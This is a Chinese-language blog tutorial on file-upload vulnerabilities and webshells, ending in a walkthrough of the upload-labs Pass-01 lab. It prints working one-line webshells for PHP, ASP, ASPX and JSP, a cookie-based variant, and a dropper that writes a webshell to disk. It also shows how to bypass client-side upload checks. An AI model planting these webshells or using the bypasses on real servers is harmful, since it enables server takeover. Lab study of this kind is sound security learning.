文件上传漏洞

一 webshell介绍

1.什么是webshell

  webshell是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称作为一种网页木马后门。

  攻击者可以通过这种网页后门获得网站服务器操作权限,控制网站服务器以进行上传下载文件、查看数据库、执行命令等...

2.什么是木马

  全称“特洛伊木马(Trojan Horse)”,指寄宿在计算机里的一种非授权的远程控制程序,它可以在计算机管理员未发觉的情况下,开放系统权限、泄露用户信息给攻击者,是黑客常用的工具之一。

3.什么是后门

后门:一台计算机上有65535个端口,每个端口是计算机与外界连接所开启的“门”,每个门都有计算机提供的一种服务,攻击者利用这些服务获取服务器的权限,给自己进入计算机留下一个后门。

4.webshell的分类

① 根据文件大小分类

  • 一句话木马:代码简短,通常只有一行代码,使用方便
  • 小马:只包含文件上传功能,体积小
  • 大马:体积大,包含很多功能,代码通常会进行加密隐藏

② 根据脚本类型分类:

  • jsp
  • asp
  • aspx
  • php

5.webshell特点

  • webshell大多以动态脚本的形式出现
  • webshell就是一个asp或php木马后门
  • webshell可以穿越服务器防火墙,攻击者与被控服务器交换数据都是通过80端口传递
  • webshell一般不会在系统日志里留下记录,只会在web日志中留下数据传递记录

6.webshell攻击流程

① 利用web漏洞获取web权限

② 上传小马

③ 上传大马

④ 远程调用webshell执行命令

7.常见的webshell

php:     

<?php eval($_GET[pass]);?>
<?php eval($_POST[pass]);p?>
//eval——把字符串作为php代码执行

ASP:

<%eval request("pass")%>

ASPX:

<%@ Page Language="Jscript"%> <%eval(Request.ltem["pass"])%>

JSP: 

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

二 webshell基本原理

1.基本原理

1)可执行脚本    HTTP数据包($_GET、$_POST、$_COOKIKES)

2)数据传递

3)执行传递的数据

  • 直接执行(eval、system、passthru)
  • 文件包含执行(include、require)
  • 动态函数执行($a= "phpinfo" ;$a(); )
  • 回调函数(array_map等)

2.常见php webshell

GET方式:<?php eval($_GET[pass]);?>

POST方式:<?php eval($_POST[pass]);?>

Cookie:<?php @$a = $_COOKIE[1];$b = '';$c = '';@assert($b.$a);?>

测试:

① 在phpstudy的www文件夹下建立webshell文件夹

② 在文件夹下写入set.php文件

③ 访问

页面没有报错,说明正常

④ 连接中国蚁剑

3.一句话写小马

<?php fputs(fopen("up.php","w"),'<?php eval($_POST["cmd"])?>');?>
//通过fopen函数,向当前目录下写入up.php为文件名,内容是一句话木马的文件

浏览器访问

它就会在文件夹里自动生成一个up.php文件

三 webshell管理工具

1.工具

  • 中国菜刀(比较老了已经)
  • cknife
  • 中国蚁剑
  • 冰蝎(Behinder)

四 文件上传

1.什么是文件上传

  将客户端数据以文件形式封装,通过网络协议发送到服务器端。在服务器端解析数据,最终在服务器端硬盘上作为真实的文件保存。

  通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,web服务器收到请求并同意后,用户与Web服务器将建立连接,并传输数据。

2.文件上传产生漏洞的原因

  • 服务器配置不当
  • 文件上传限制被绕过
  • 开源编辑器的上传漏洞
  • 文件解析漏洞导致文件执行
  • 过滤不严或被绕过

3.文件上传漏洞的危害

  上传文件的时候,如果服务器端脚本语言未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件的情况。

  攻击者通过上传恶意文件传递给解释器去执行,然后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理、命令执行等恶意操作。从而控制整个网站,甚至是服务器。这个恶意文件(php、asp、aspx、jsp等),又被称为webshell。

4.可能存在漏洞的位置

  • 图片上传功能
  • 头像上传功能
  • 文档上传功能

5.文件上传检测方式

一般一个文件上传过程中的检测方式有:

  • 客户端JavaScript检测(检测文件拓展名)
  • 服务端MIME类型检测(检测content-type内容)
  • 服务端目录路径检测(检测跟path参数相关的内容)
  • 服务端文件扩展名检测(检测跟文件extension相关的内容)
  • 服务端文件内容检测(检测内容是否合法是否含有恶意代码)等

6.文件上传绕过

1)绕过客户端检测

原理:

通常在上传页面中含有专门检测文件上传的JavaScript代码,最常见的就是检测文件类型和拓展名是否合法。

方法:

在本地浏览器客户端禁用JS即可,可以使用火狐浏览器的Noscript插件、IE中禁用JS等方法实现。

测试:
靶场搭建

1.将upload-labs压缩包解压缩到phpstudy的www目录下

2.对文件名更改为upload-labs

3.打开phpstudy相应环境

4.在浏览器访问127.0.0.1/upload-labs即可访问靶场

靶场界面如图

Pass-01

1.用vscode打开文件夹,并创建一个文件 

以上,写入简单免杀的一句话木马

发现无法上传的提示

对文件扩展名做出提取,再根据js中允许的文件类型进行匹配,如果是允许的扩展名就允许上传。

查看页面源码

使用了白名单对上传文件进行限制

方式1:——打开页面调试器,选择“禁用JavaScript”,对检测进行绕过

再次上传文件

显示../upload文件夹不存在,那么我们在www的upload-labs文件夹下创建upload文件夹

文件上传成功。

方式2

① 打开.png文件进行上传

② 打开Burpsuite进行抓包

此时前端的检测已经被绕过 

③ 更改上传文件为.php后缀

④ 文件已经上传

  • 24
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值